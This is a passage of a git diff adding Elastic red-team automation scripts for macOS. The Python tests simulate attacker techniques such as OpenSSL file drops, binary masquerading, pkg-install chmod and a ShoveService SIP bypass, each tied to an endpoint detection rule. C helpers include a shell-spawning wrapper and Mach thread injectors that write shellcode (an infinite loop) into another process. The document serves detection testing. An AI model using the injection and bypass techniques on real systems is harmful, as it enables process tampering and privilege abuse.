+ common.execute([masquerade, "-s", "/tmp/test.txt"], timeout=10, kill=True)
+
+ # cleanup
+ common.remove_file(masquerade)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/openssl_file_drop.py b/rta/openssl_file_drop.py
new file mode 100644
index 000000000..9a6a898dd
--- /dev/null
+++ b/rta/openssl_file_drop.py
@@ -0,0 +1,41 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License
+# 2.0; you may not use this file except in compliance with the Elastic License
+# 2.0.
+
+from . import common
+from . import RtaMetadata
+
+
+metadata = RtaMetadata(
+ uuid="2c2c75c0-28cc-4828-b8a4-6b33e027a80a",
+ platforms=["macos"],
+ endpoint=[
+ {
+ "rule_name": "Execution of a File Dropped by OpenSSL",
+ "rule_id": "d2017990-b448-4617-8d4a-55aa45abe354",
+ }
+ ],
+ siem=[],
+ techniques=["T1027", "T1140", "T1204", "T1204.002"],
+)
+
+
+@common.requires_os(metadata.platforms)
+def main():
+
+ masquerade = "/tmp/testbin"
+
+ # Execute command
+ common.log("Launching bash commands for file creation via openssl")
+ common.execute(["openssl", "rand", "-base64", 2, "-out", masquerade], timeout=10, kill=True)
+
+ common.create_macos_masquerade(masquerade)
+ common.execute([masquerade, "ls"], timeout=10, kill=True)
+
+ # cleanup
+ common.remove_file(masquerade)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/path_passed_to_system.py b/rta/path_passed_to_system.py
new file mode 100644
index 000000000..5a540e290
--- /dev/null
+++ b/rta/path_passed_to_system.py
@@ -0,0 +1,40 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License
+# 2.0; you may not use this file except in compliance with the Elastic License
+# 2.0.
+
+from . import common
+from . import RtaMetadata
+
+
+metadata = RtaMetadata(
+ uuid="7343a543-c2f6-4215-a21c-04eb8c764656",
+ platforms=["macos"],
+ endpoint=[
+ {
+ "rule_name": "Potential Masquerading as System Binary",
+ "rule_id": "bb1de0c7-3504-4b31-8d3e-928aa3acf64f",
+ }
+ ],
+ siem=[],
+ techniques=["T1036", "T1036.004", "T1059", "T1059.004"],
+)
+
+
+@common.requires_os(metadata.platforms)
+def main():
+
+ masquerade = "/tmp/bash"
+ common.create_macos_masquerade(masquerade)
+
+ # Execute command
+ common.log("Launching fake bash commands to mimic passing a path to system bin")
+ command = f"exec -a /System/Applications/test {masquerade}"
+ common.execute([masquerade, "childprocess", command], timeout=5, kill=True, shell=True)
+
+ # cleanup
+ common.remove_file(masquerade)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/pkg_install_chmod.py b/rta/pkg_install_chmod.py
new file mode 100644
index 000000000..1bc9870cf
--- /dev/null
+++ b/rta/pkg_install_chmod.py
@@ -0,0 +1,61 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License
+# 2.0; you may not use this file except in compliance with the Elastic License
+# 2.0.
+
+from . import common
+from . import RtaMetadata
+
+
+metadata = RtaMetadata(
+ uuid="caa6feb7-cc17-425f-996f-b1b69efa93e2",
+ platforms=["macos"],
+ endpoint=[
+ {"rule_name": "File Made Executable via Pkg Install Script", "rule_id": "75f5d51a-218f-4d5b-80e5-eb74e498fde4"},
+ {
+ "rule_name": "File Made Executable by Suspicious Parent Process",
+ "rule_id": "42ab2c0f-b10d-467d-8c6d-def890cf3f68",
+ },
+ {
+ "rule_name": "Suspicious File Create via Pkg Install Script",
+ "rule_id": "f06d9987-33f8-44b7-b815-c1f66fb39d25",
+ },
+ ],
+ siem=[],
+ techniques=["T1222", "T1222.002", "T1564", "T1546", "T1546.016"],
+)
+
+
+@common.requires_os(metadata.platforms)
+def main():
+
+ dest_file = "/tmp/test.py"
+ source_file = "/tmp/test.txt"
+ masquerade = "/Users/bash"
+ common.create_macos_masquerade(masquerade)
+
+ # Execute command
+ command = f"chmod +x {source_file}"
+ common.log("Launching fake bash commands to execute chmod on file via pkg install")
+ with common.temporary_file("testing", source_file):
+ common.execute(
+ [
+ masquerade,
+ "childprocess",
+ command,
+ "childprocess",
+ f"cp {source_file} {dest_file}",
+ "childprocess",
+ "/tmp/PKInstallSandbox.*/Scripts/*/postinstall",
+ ],
+ timeout=10,
+ kill=True,
+ )
+
+ # cleanup
+ common.remove_file(masquerade)
+ common.remove_file(dest_file)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/shove_sip_bypass.py b/rta/shove_sip_bypass.py
new file mode 100644
index 000000000..947e6f47b
--- /dev/null
+++ b/rta/shove_sip_bypass.py
@@ -0,0 +1,36 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License
+# 2.0; you may not use this file except in compliance with the Elastic License
+# 2.0.
+
+from . import common
+from . import RtaMetadata
+
+
+metadata = RtaMetadata(
+ uuid="1796555f-921a-459f-9661-0d94cf90fe81",
+ platforms=["macos"],
+ endpoint=[
+ {"rule_name": "Potential SIP Bypass via the ShoveService", "rule_id": "7dea8cfc-92db-4081-9a5d-85ead8cedd5f"}
+ ],
+ siem=[],
+ techniques=["T1068"],
+)
+
+
+@common.requires_os(metadata.platforms)
+def main():
+
+ masquerade = "/tmp/sh"
+ common.create_macos_masquerade(masquerade)
+
+ common.log("Executing shove processes to mimic sip bypass.")
+ command = "/System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/Resources/shove -x"
+ common.execute([masquerade, "childprocess", command], shell=True, timeout=5, kill=True)
+
+ # cleanup
+ common.remove_file(masquerade)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/src/ditto_and_spawn.c b/rta/src/ditto_and_spawn.c
new file mode 100644
index 000000000..033efd897
--- /dev/null
+++ b/rta/src/ditto_and_spawn.c
@@ -0,0 +1,88 @@
+#include
+#include
+#include
+
+char *combine_argv(int argc, char **argv, int start, int end)
+{
+ int total_size = 0;
+ for (int i = start; i < end; i++)
+ {
+ total_size += strlen(argv[i]);
+ }
+ // Provides space for ' ' after each argument and a '\0' terminator.
+ char *ret = malloc(total_size + end - start + 1);
+ if (ret == NULL)
+ {
+ fprintf(stderr, "Error: memory allocation failed\n");
+ exit(EXIT_FAILURE);
+ }
+ int j = 0;
+ for (int i = start; i < end; i++)
+ {
+ strcat(ret + j, argv[i]);
+ j += strlen(argv[i]);
+ ret[j++] = ' ';
+ }
+ ret[j - 1] = '\0';
+ return ret;
+}
+
+void spawn_child_processes(int argc, char **argv)
+{
+ int start = 1;
+ for (int i = 1; i < argc; i++)
+ {
+ if (strcmp(argv[i], "childprocess") == 0)
+ {
+ char *command = combine_argv(argc, argv, start, i);
+ printf("Spawning child process %s\n", command);
+ if (system(command) == -1)
+ {
+ fprintf(stderr, "Error: failed to spawn child process\n");
+ free(command);
+ exit(EXIT_FAILURE);
+ }
+ free(command);
+ start = i + 1;
+ }
+ }
+ if (start < argc)
+ {
+ char *command = combine_argv(argc, argv, start, argc);
+ printf("Spawning child process %s\n", command);
+ if (system(command) == -1)
+ {
+ fprintf(stderr, "Error: failed to spawn child process\n");
+ free(command);
+ exit(EXIT_FAILURE);
+ }
+ free(command);
+ }
+}
+
+void validate_input(int argc, char **argv)
+{
+ if (argc < 2)
+ {
+ fprintf(stderr, "Error: invalid number of arguments\n");
+ exit(EXIT_FAILURE);
+ }
+
+ else if (strcmp(argv[1], "childprocess") == 0 && argc < 3)
+ {
+ fprintf(stderr, "Error: invalid argument format. Expected childprocess \n");
+ exit(EXIT_FAILURE);
+ }
+}
+
+int main(int argc, char **argv)
+{
+ validate_input(argc, argv);
+ spawn_child_processes(argc, argv);
+ for (int i = 0; i < argc; i++)
+ {
+ printf("argv[%2d]: %s\n", i, argv[i]);
+ }
+ system("/bin/bash");
+ return 0;
+}
diff --git a/rta/src/sleep.c b/rta/src/sleep.c
new file mode 100644
index 000000000..352dc4d98
--- /dev/null
+++ b/rta/src/sleep.c
@@ -0,0 +1,22 @@
+#include
+#include
+#include
+int main(int argc, char *argv[])
+{
+ if (argc == 2)
+ {
+ printf("Sleeping for %s seconds.\n", argv[1]);
+ sleep(atoi(argv[1]));
+ }
+ else if (argc > 2)
+ {
+ printf("Too many arguments supplied.\n");
+ return -1;
+ }
+ else
+ {
+ printf("One argument expected.\n");
+ return -1;
+ }
+ return 0;
+}
diff --git a/rta/src/thread_injector_intel.c b/rta/src/thread_injector_intel.c
new file mode 100644
index 000000000..35710ef05
--- /dev/null
+++ b/rta/src/thread_injector_intel.c
@@ -0,0 +1,160 @@
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#include
+#include
+#include
+
+#define STACK_SIZE 65536
+#define CODE_SIZE 128
+
+/* This shellcode is just an infinite loop */
+char injectedCode[] =
+ "\x90"
+ "\x90"
+ "\xeb\xfe"
+ "\x90"
+ "\x90"
+ "\x90";
+
+int inject(pid_t pid)
+{
+ task_t remoteTask;
+ mach_error_t kr = 0;
+
+ /**
+ * Second - the critical part - we need task_for_pid in order to get the task port of the target
+ * pid. This is our do-or-die: If we get the port, we can do *ANYTHING* we want. If we don't, we're
+ * #$%#$%.
+ */
+
+ kr = task_for_pid(mach_task_self(), pid, &remoteTask);
+ if (kr != KERN_SUCCESS) {
+ fprintf(stderr, "Unable to call task_for_pid on pid %d: %s. Cannot continue!\n", pid, mach_error_string(kr));
+ return (-1);
+ }
+
+ mach_vm_address_t remoteStack64 = (vm_address_t)NULL;
+ mach_vm_address_t remoteCode64 = (vm_address_t)NULL;
+ kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
+ if (kr != KERN_SUCCESS) {
+ fprintf(stderr, "Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
+ return (-2);
+ }
+ else {
+ fprintf(stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
+ }
+ /**
+ * Then we allocate the memory for the thread
+ */
+ remoteCode64 = (vm_address_t)NULL;
+ kr = mach_vm_allocate(remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE);
+ if (kr != KERN_SUCCESS) {
+ fprintf(stderr, "Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
+ return (-2);
+ }
+
+ /**
+ * Write the (now patched) code
+ */
+ kr = mach_vm_write(remoteTask, // Task port
+ remoteCode64, // Virtual Address (Destination)
+ (vm_address_t)injectedCode, // Source
+ sizeof(injectedCode)); // Length of the source
+
+ if (kr != KERN_SUCCESS) {
+ fprintf(stderr, "Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
+ return (-3);
+ }
+
+ /*
+ * Mark code as executable - This also requires a workaround on iOS, btw.
+ */
+ kr = vm_protect(remoteTask, remoteCode64, sizeof(injectedCode), FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
+
+ /*
+ * Mark stack as writable - not really necessary
+ */
+ kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
+ if (kr != KERN_SUCCESS) {
+ fprintf(stderr, "Unable to set memory permissions for remote thread: Error %s\n", mach_error_string(kr));
+ return (-4);
+ }
+
+ /*
+ * Create thread - This is obviously hardware specific.
+ */
+ x86_thread_state64_t remoteThreadState64;
+
+ thread_act_t remoteThread;
+
+ memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64));
+
+ remoteStack64 += (STACK_SIZE / 2); // this is the real stack
+ //remoteStack64 -= 8; // need alignment of 16
+
+ const char *p = (const char *)remoteCode64;
+
+ remoteThreadState64.__rip = (u_int64_t)(vm_address_t)remoteCode64;
+
+ // set remote Stack Pointer
+ remoteThreadState64.__rsp = (u_int64_t)remoteStack64;
+ remoteThreadState64.__rbp = (u_int64_t)remoteStack64;
+
+ printf("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p);
+
+ /*
+ * create thread and launch it in one go
+ */
+
+ kr = thread_create_running(remoteTask, x86_THREAD_STATE64,
+ (thread_state_t)&remoteThreadState64, x86_THREAD_STATE64_COUNT, &remoteThread);
+
+ //kr = thread_create(remoteTask, &remoteThread);
+ if (kr != KERN_SUCCESS) {
+ fprintf(stderr, "Unable to create remote thread: error %s", mach_error_string(kr));
+ return (-3);
+ }
+
+ // Wait for mach thread to finish
+/* mach_msg_type_number_t thread_state_count = x86_THREAD_STATE64_COUNT;
+ for (;;) {
+ kr = thread_get_state(remoteThread, x86_THREAD_STATE64, (thread_state_t)&remoteThreadState64, &thread_state_count);
+ if (kr != KERN_SUCCESS) {
+ fprintf(stderr, "Error getting stub thread state: error %s", mach_error_string(kr));
+ break;
+ }
+
+ if (remoteThreadState64.__rax == 0xD13) {
+ printf("Stub thread finished\n");
+ kr = thread_terminate(remoteThread);
+ if (kr != KERN_SUCCESS) {
+ fprintf(stderr, "Error terminating stub thread: error %s", mach_error_string(kr));
+ }
+ break;
+ }
+ }*/
+
+ sleep(5);
+
+ return 0;
+}
+
+int main(int argc, const char *argv[])
+{
+ if (argc < 2) {
+ fprintf(stderr, "Usage: %s _pid_ \n", argv[0]);
+ exit(0);
+ }
+
+ pid_t pid = atoi(argv[1]);
+ inject(pid);
+}
diff --git a/rta/src/thread_injector_m1.c b/rta/src/thread_injector_m1.c
new file mode 100644
index 000000000..742ae9c55
--- /dev/null
+++ b/rta/src/thread_injector_m1.c
@@ -0,0 +1,154 @@
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#include
+#include
+#include
+
+#define STACK_SIZE 65536
+#define CODE_SIZE 128
+
+/* This shellcode is just an infinite loop */
+char injectedCode[] =
+ "\x00\x00\x00\x14";
+
+int inject(pid_t pid)
+{
+ task_t remoteTask;
+ mach_error_t kr = 0;
+
+ /**
+ * Second - the critical part - we need task_for_pid in order to get the task port of the target
+ * pid. This is our do-or-die: If we get the port, we can do *ANYTHING* we want. If we don't, we're
+ * #$%#$%.
+ */
+
+ kr = task_for_pid(mach_task_self(), pid, &remoteTask);
+ if (kr != KERN_SUCCESS) {
+ fprintf(stderr, "Unable to call task_for_pid on pid %d: %s. Cannot continue!\n", pid, mach_error_string(kr));
+ return (-1);
+ }
+
+ mach_vm_address_t remoteStack64 = (vm_address_t)NULL;
+ mach_vm_address_t remoteCode64 = (vm_address_t)NULL;
+ kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
+ if (kr != KERN_SUCCESS) {
+ fprintf(stderr, "Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
+ return (-2);
+ }
+ else {
+ fprintf(stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
+ }
+ /**
+ * Then we allocate the memory for the thread
+ */
+ remoteCode64 = (vm_address_t)NULL;
+ kr = mach_vm_allocate(remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE);
+ if (kr != KERN_SUCCESS) {
+ fprintf(stderr, "Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
+ return (-2);
+ }
+
+ /**
+ * Write the (now patched) code
+ */
+ kr = mach_vm_write(remoteTask, // Task port
+ remoteCode64, // Virtual Address (Destination)
+ (vm_address_t)injectedCode, // Source
+ sizeof(injectedCode)); // Length of the source
+
+ if (kr != KERN_SUCCESS) {
+ fprintf(stderr, "Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
+ return (-3);
+ }
+
+ /*
+ * Mark code as executable - This also requires a workaround on iOS, btw.
+ */
+ kr = vm_protect(remoteTask, remoteCode64, sizeof(injectedCode), FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
+
+ /*
+ * Mark stack as writable - not really necessary
+ */
+ kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
+ if (kr != KERN_SUCCESS) {
+ fprintf(stderr, "Unable to set memory permissions for remote thread: Error %s\n", mach_error_string(kr));
+ return (-4);
+ }
+
+ /*
+ * Create thread - This is obviously hardware specific.
+ */
+ arm_thread_state64_t remoteThreadState64;
+
+ thread_act_t remoteThread;
+
+ memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64));
+
+ remoteStack64 += (STACK_SIZE / 2); // this is the real stack
+ //remoteStack64 -= 8; // need alignment of 16
+
+ const char *p = (const char *)remoteCode64;
+
+ remoteThreadState64.__pc = (u_int64_t)(vm_address_t)remoteCode64;
+ remoteThreadState64.__lr = (u_int64_t)(vm_address_t)remoteCode64;
+ // set remote Stack Pointer
+ remoteThreadState64.__sp = (u_int64_t)remoteStack64;
+
+ printf("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p);
+
+ /*
+ * create thread and launch it in one go
+ */
+
+ kr = thread_create_running(remoteTask, ARM_THREAD_STATE64,
+ (thread_state_t)&remoteThreadState64, ARM_THREAD_STATE64_COUNT, &remoteThread);
+
+ //kr = thread_create(remoteTask, &remoteThread);
+ if (kr != KERN_SUCCESS) {
+ fprintf(stderr, "Unable to create remote thread: error %s", mach_error_string(kr));
+ return (-3);
+ }
+
+ // Wait for mach thread to finish
+/* mach_msg_type_number_t thread_state_count = x86_THREAD_STATE64_COUNT;
+ for (;;) {
+ kr = thread_get_state(remoteThread, x86_THREAD_STATE64, (thread_state_t)&remoteThreadState64, &thread_state_count);
+ if (kr != KERN_SUCCESS) {
+ fprintf(stderr, "Error getting stub thread state: error %s", mach_error_string(kr));
+ break;
+ }
+
+ if (remoteThreadState64.__rax == 0xD13) {
+ printf("Stub thread finished\n");
+ kr = thread_terminate(remoteThread);
+ if (kr != KERN_SUCCESS) {
+ fprintf(stderr, "Error terminating stub thread: error %s", mach_error_string(kr));
+ }
+ break;
+ }
+ }*/
+
+ sleep(5);
+
+ return 0;
+}
+
+int main(int argc, const char *argv[])
+{
+ if (argc < 2) {
+ fprintf(stderr, "Usage: %s _pid_ \n", argv[0]);
+ exit(0);
+ }
+
+ pid_t pid = atoi(argv[1]);
+ inject(pid);
+}
diff --git a/rta/tar_dylib.py b/rta/tar_dylib.py
new file mode 100644
index 000000000..afd862d20
--- /dev/null
+++ b/rta/tar_dylib.py
@@ -0,0 +1,39 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License
+# 2.0; you may not use this file except in compliance with the Elastic License
+# 2.0.
+
+from . import common
+from . import RtaMetadata
+
+
+metadata = RtaMetadata(
+ uuid="a56d07b3-c459-4a72-adab-b93bbe008f0f",
+ platforms=["macos"],
+ endpoint=[
+ {
+ "rule_name": "Non-Native Dylib Extracted into New Directory",
+ "rule_id": "62cc9cf4-5440-4237-aa5b-ea8db83deb3d",
+ }
+ ],
+ siem=[],
+ techniques=["T1059", "T1059.004"],
+)
+
+
+@common.requires_os(metadata.platforms)
+def main():
+
+ # Execute command"
+ common.log("Launching commands to tar tmp dir.")
+ common.execute(["mkdir"], timeout=10, kill=True)
+
+ with common.temporary_file("testing", "/tmp/test.txt"):
+ common.execute(["tar", "-cf", "test.dylib", "/tmp/test.txt"], timeout=10, kill=True)
+
+ # cleanup
+ common.remove_file("test.dylib")
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/unzip_to_tmp.py b/rta/unzip_to_tmp.py
new file mode 100644
index 000000000..917b47ddc
--- /dev/null
+++ b/rta/unzip_to_tmp.py
@@ -0,0 +1,34 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License
+# 2.0; you may not use this file except in compliance with the Elastic License
+# 2.0.
+
+from . import common
+from . import RtaMetadata
+
+
+metadata = RtaMetadata(
+ uuid="de7e28b2-c01d-4cd7-abb7-ddb64bce5f45",
+ platforms=["macos"],
+ endpoint=[
+ {"rule_name": "Compressed File Extracted to Temp Directory", "rule_id": "24fa0f80-7e3a-4b27-801a-30ef53f190bf"}
+ ],
+ siem=[],
+ techniques=["T1059", "T1059.004"],
+)
+
+
+@common.requires_os(metadata.platforms)
+def main():
+
+ masquerade = "/Users/bash"
+ common.create_macos_masquerade(masquerade)
+
+ command = 'bash -c "unzip * /tmp/* -d *"'
+
+ common.log("Executing unzip to tmp directory.")
+ common.execute([masquerade, "childprocess", command], shell=True, timeout=5, kill=True)
+
+
+if __name__ == "__main__":
+ exit(main())